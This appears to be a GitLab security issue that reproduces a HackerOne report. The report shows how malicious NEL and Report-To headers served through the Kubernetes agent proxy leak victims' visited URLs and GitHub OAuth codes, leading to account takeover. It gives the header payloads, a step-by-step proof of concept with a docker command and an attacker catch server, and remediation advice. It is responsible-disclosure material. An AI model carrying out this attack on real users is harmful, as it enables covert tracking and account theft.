Skip to content

Injection of NEL headers in k8s proxy response allows attacker to spy on victims browsers activity, leading to ATO abusing OAuth flows

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2813673 by joaxcar on 2024-10-31, assigned to @truegreg:

Report | Attachments | How To Reproduce

Report

Hi team,

The k8s cluster-integration allows an attacker to set NEL(Network Error Loggin) policys in a victims browser. This can in the worst case lead to full account takeover (both on self hosted and on gitlab.com).

This attack is part of some research that I have done regarding NEL headers in proxy endpoints so I don't expect you to know these concepts, so feel free to ask if anything is unclear. Apologies for the lengthy report but I feel like its importand to give the full picture to make you understand the impact.

But first a TLDR

TLDR

  1. Attacker sets up a malicious Kubernetes agent that respond with NEL headers on each request
  2. Attacker connects this agent to an environment in Gitlab
  3. Victim visits the environment pages and the NEL policy gets configured in the browser by the header
  4. From now on all URLs that the victim visits will get sent in full to the attackers catch server
  5. On a self hosted instance this NEL policy will be installed on gitlab.example.com(the main domain) and thus leak things like feed_tokens and other tokens that are used in URLs. On gitlab.com the policy will get installed on kas.gitlab.com and leak all requested endpoints on that domain.
  6. To avoid waiting for the victim to visit sensitive pages the attacker can just link the environment to a page that performs a "OAuth dirty dancing" and leaks OAuth codes. On self hosted this can be done on any OAuth provider like google, bitbucket, github and so on. On gitlab.com I can prove how the attacker can take over users using github OAuth.

Summary

When a user visits for example https://gitlab.com/GROUPNAME/PROJECTNAME/-/environments/:environmentID there will be background requests made to a proxy endpoint ex. https://kas.gitlab.com/k8s-proxy/api/v1/pods on gitlab.com and https://gitlab.example.com/k8s-proxy/api/v1/pods on a self hosted service (notice how the default config on self hosted have this proxy on the main domain of the instance while gitlab.com has it on a subdomain called kas.gitlab.com)

These requests will be proxied through KAS to an agentk service in the configured cluster and the response from the kubernetes service will get forwarded to gitlab. There are some security messures put in place here after this report #436358 (closed) showed how you could leak CSRF tokens and serve XSS payloads.

However there are still response headers that can be returned that can have high security impact, namly the NEL and report-to headers.

By abusing a NEL policy in a victims browser ALL subsequent URLs that are visited on the domain using the same browser will be sent to an attacker controlled server. This includes search parameters. When such a policy is in place there is almost no way to get rid of it and it will not expire. This creates an invisible malicious spy tool for an attacker.

In the end this can lead to severe security issues if an URL ever contains tokens or other sensitive data. On a selfhosted instance this will happen a lot as the proxy endpoint is on the main domain. Everytime the victim visits a link containing a feed_token for example, this feed_tooken will leak to the attacker giving the attacker access to private data.

Both on gitlab.com as well as on self hosted servers this can then be escalated to ATO by abusing different OAuth flows and leaking the response code.

NEL

Quick note on NEL headers. These headers only work on Chromium-based browsers (all their brands). Whenever a Chromium-based browser handles a response from a server that contains these two headers

Report-To: {  
     "group": "default",  
     "max_age": 99999999,  
     "endpoints": [{  
         "url": "https://example.com"  
      }]  
}
Nel: {  
    "report_to”: "default",  
    "max_age": 999999,  
    "success_fraction": 1.0,  
    "failure_fraction": 1.0,  
}

The browser will start to send NEL reports to https://example.com, and as the two fraction options are set to 1.0 it will send reports on ALL requests.

When the NEL header is first set in the browser, it will not get removed until another NEL policy is set or if the victim vipe all browser data. This means that once it it place it will stay there and leak user info indefinitely (there is no limit on the max_age)

A NEL report contains the full URL of all requested pages.

Example attack on gitlab.com

An attacker can configure a malicious Kubernetes agent by self-hosting a agentk and point it to a server replying with NEL headers on all responses.

A victim user has a github account connected to its gitlab account

When a victim visits a page like https://gitlab.com/GROUPNAME/PROJECTNAME/-/environments/:environmentID this page will make some fetch requests in the background to https://kas.gitlab.com. As kas.gitlab.com wont set any NEL headers on its own it will never remove the attacker policy.

The victim now click on View Deployment, the page is attacker-controlled and will redirect the victim to

https://github.com/login/oauth/authorize?client_id=bbe1fe17fd3206756805&redirect_uri=https%3A%2F%2Fkas.gitlab.com%2Fusers%2Fauth%2Fgithub%2Fcallback&response_type=code&scope=user%3Aemail&state=ATTACKER_STATE

(note the redirect_uri going to kas.gitlab.com)

The Github OAuth flow will run through and the browser will land on

https://kas.gitlab.com/users/auth/github/callback?code=d0369d23bca7c00254e6&state=55f0df2e83ef5293381a97ede1d240747aaf4091d488d63c

and this URL will be sent in a NEL report to the attacker.

The attacker can now take this URL and just remove kas. from it and use it to log in as the victim user on gitlab.com

POC (Gitlab.com)

Need to have
We need two users for this

  • attacker a normal user on gitlab.com
  • victim a user on gitlab.com that uses github.com as SSO login (or just has a github.com account connected to it)

Attacker preparations

  1. Create a new group mynewgroup
  2. Create two projects in the group config and attack
  3. In the project mynewgroup/config create a file with the name .gitlab/agents/test-agent/config.yaml and the content (replace groupname)
user_access:  
  access_as:  
    agent: {}  
  groups:  
    - id: mynewgroup
  1. Go to https://gitlab.com/mynewgroup/config/-/clusters and click connect a cluster
  2. In the popup under the heading Register agent with the UI click the dropdown and select the test-agent, click Register
  3. Copy the Agent access token
  4. In a terminal on your local computer create a file called glab-agentk-token-local and paste the token from step 6 in the file
  5. Download the file server.py server.py into the same directory and open it. Replace the CATCH_SERVER to a server you control (burp collaborator or webhook.site for example) just make sure that the server you are using allows for CORS requests. I belive collaborator will allow this per default. If you use https://webhook.site make sure to configure "Allow cors"
  6. Open another terminal tab in the same directory, in one of the tabs run python3 server.py and in the other tab run this command (this command is made to work on linux, if you use MacOS replace 127.0.0.1:9999 with host.docker.internal:9999)
docker run \  
--network host \  
--rm \  
-it \  
-v ./glab-agentk-token-local:/etc/agentk/secrets/token \  
-e POD_NAMESPACE=agentk-nsname \  
-e POD_NAME=agent-podname registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:latest  \  
--kas-address=wss://kas.gitlab.com/-/kubernetes-agent/ \  
--token-file=/etc/agentk/secrets/token \  
-s 127.0.0.1:9999
  1. You should now in the browser see the test-agent going to connected state (if not refresh the browers)
  2. Now go to the project https://gitlab.com/mynewgroup/attack/-/environments and click New Environment
  3. Give the environment a name, then add https://joaxcar.com/poc/gitlab/kas/start.php as the External URL, and select test-agent as the Gitlab Agent. Click Save. Take a note of the environment ID (see the URL)
  4. Go to https://gitlab.com/groups/mynewgroup/-/group_members and invite the victim as a developer
  5. Now log out of gitlab as the attacker
  6. Go to https://gitlab.com/users/sign_in and click the Github SSO button
  7. As the attacker is not logged into github you will end up at the github login screen, in the URL there is a state parameter looking like this state%3DRANDOM123, copy everything after state%3D (in this case RANDOM123)
  8. Visit https://joaxcar.com/poc/gitlab/kas/start.php?state=STATE_FROM_STEP_16 (make sure to add your state from step 16)

Attack
18. In a new browser session (make sure its a Chromium browser) log in to gitlab.com using github SSO as the victim
19. Go to https://gitlab.com/ultimatetest-17-4-0/hi_triage/-/environments/ID_FROM_STEP_12 (replace ID_FROM_STEP_12 or just go to /environments and click the environment) (this will now inject the NEL policy in the background, at this step the NEL policy is in place and will forever log all activity on kas.gitlab.com for the victim)
20. Click View Deployment
21. You should land on https://kas.gitlab.com/users/auth/github/callback

Takeover
22. As the attacker now wait 1-2 min and look at the catch server you should get a request from the NEL policy including a request to https://kas.gitlab.com/users/auth/github/callback copy the whole URL including the code and state.
23. Open a new tap and paste the URL in the address bar. Remove kas. from the URL. It should now look like

https://kas.gitlab.com/users/auth/github/callback?code=3334646a34d16622bb16&state=86e3f05c2b6d9ec6be4809b59ac855f774131d386748a084
  1. Click enter, you should now be logged in to gitlab.com as victim

CVSS

I want to emphasise some points on this vulnerability that I think can cause misinterpretation

  • I: H and C: H as its full ATO, same impact as all other ATO reports
  • UI: R as the victim has to visit the environment page, part of the normal workflow
  • AC: L The attack will work without any special requirements, and it's all part of the normal workflow. Note that the POC has the attacker as the owner of the attacker project. This is no requirement. Adding environments is a developer permission. Thus still Low
  • S: C scope is changed as the NEL headers are impacting the browser and not Gitlab per se

The last point is the most important: setting NEL headers has an impact on the browser level just as XSS. An example of this is how the default Grafana configuration will host internal Grafana under gitlab.example.com/-/grafana; this is another application, but as it's under the same domain, it will also be affected by the configured NEL policy. The same goes for any other service under the same shared domain. On gitlab.com, you can also see this as the affected service is KAS hosted on kas.gitlab.com, but an attacker can move the impact to gitlab.com.

Some notes on the POC

  • Step 9 starts an agentk service that usually run in a cluster. This just fakes this process locally and as its using a valid token it will just forward all requests to the local python server
  • The python server just answers the same on all requests, but adding the NEL headers to each response.
  • NEL reports can take a few minutes to arrive as they are batched and send async
  • NEL only work over HTTPS so if testing this on self hosted make sure to use TLS

Remidiation

  • Remove NEL headers from proxied responses, maybe also remove report-to
  • Even if removed, there is a risk that an attacker has already used this against victims. There is not good way to remove these policies. But users can either "clear all browser data" or an instance can send out their own NEL headers like so
Nel: {}

this will override previous policies before any new reports are sent. So on kas.gitlab.com, you could add a broken or empty nel header on proxy responses for a period of time to "clear" any user's browsers from malicious headers. If you look at giltab.com, you can see that nel headers are added by Cloudflare, creating protection on your main domain for similar attacks.

Impact

Injection of NEL policies in victims' browsers leaks browser session data and, in the end, leads to full ATO of victims' gitlab accounts.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: